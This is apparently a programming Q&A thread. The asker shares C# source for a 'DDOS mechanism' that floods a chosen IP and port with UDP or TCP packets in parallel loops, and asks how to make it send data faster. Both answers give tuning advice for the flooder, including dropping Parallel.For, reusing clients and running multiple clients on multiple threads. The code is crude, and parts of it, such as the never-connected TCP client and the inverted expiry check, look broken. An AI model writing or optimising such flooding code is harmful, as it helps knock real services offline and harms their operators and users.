DDOS Mechanism: Improving thread safety & loop speed?

Question

I'm pretty new to this but I coded a DDOS mechanism for educational purposes. I need to know if the thread safety can be improved (Right now I have none, but do I need any?) and if the loop speed can be improved (can data be sent any faster)?

public class SessionWorker : ISessionWorker
{
    private ISession _session;
    private readonly Task _cycleTask;
    private bool _cycleActive;

    public SessionWorker()
    {
        _cycleTask = new Task(OnCycle);
    }

    public void Load(ISession session)
    {
        _session = session;
    }

    public void Start()
    {
        _cycleTask.Start();
        _cycleActive = true;
    }

    public void Stop()
    {
        _cycleActive = false;
    }

    private void OnCycle()
    {
        if (_session.AttackType == SessionAttackType.Udp)
        {
            CycleUdp();
        }
        else
        {
            CycleTcp();
        }
    }

    private void CycleUdp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var udpClient = new UdpClient(_session.AttackingIp, _session.AttackingPort);

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                udpClient.Send(rubbish, rubbish.Length);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }

    private void CycleTcp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var tcpClient = new TcpClient();

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                tcpClient.Client.BeginSend(rubbish, 0, rubbish.Length, SocketFlags.None, ar => tcpClient.Client.EndSend(ar), tcpClient);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }
}

Other parts of the code?

public bool HasAttackExpired()
{
    return (DateTime.Now - AttackExpiration).TotalSeconds < 1;
}

StopAttack method:

public void StopAttack()
{
    if (IsAttacking && HasAttackExpired())
    {
        CoreUtilities.LogToConsole("Finished running an attack and sent " + BytesSent + " bytes.");
    }

    IsAttacking = false;

    AttackingIp = "";
    AttackingPort = 0;

    SessionWorker.Stop();
}

Answer 1

private bool _cycleActive;

You actually don't need this variable. The Task class has a Status property.

---

Thread.Sleep(2);

And the async/await classic one (like the classic namespace std in c++). You don't want to block your thread with that. Instead, you should use Task.Delay and make your code async

---

public void Stop()
{
    _cycleActive = false;
}

For stopping you should use the CancellationTokenSource and the CancellationToken. See Task Cancellation.

Answer 2

I am no expert on malicious code, but I guess the only way to know for sure what works best is to run some packet analyzer software on both client and server, and see for yourself.

I feel like your implementation uses too many threads. Parallel.For loop probably hurts more than it helps. It speeds things up only if you execute a sufficiently complex task on every iteration. Sending 1 byte over network is not complex at all. Try replacing it with regular for loop.

It is also unclear what 2 in Thread.Sleep(2) stands for. Why it is 2 and not, say, 3, and why you should "sleep" at all. If it is required, then maybe it should be a property of your session, and not a hard-coded value.

Clients implement IDisposable, so you should dispose them at some point. I also don't see why you should create a new client on every iteration. Can't you re-use single instance?

Another obvious thing to try is to run multiple clients on multiple threads. Maybe it will work "better". Maybe not.

P.S. As for your thread safety concern: see SO answer. So no, calling Send or BeginSend in parallel from different threads in not thread safe.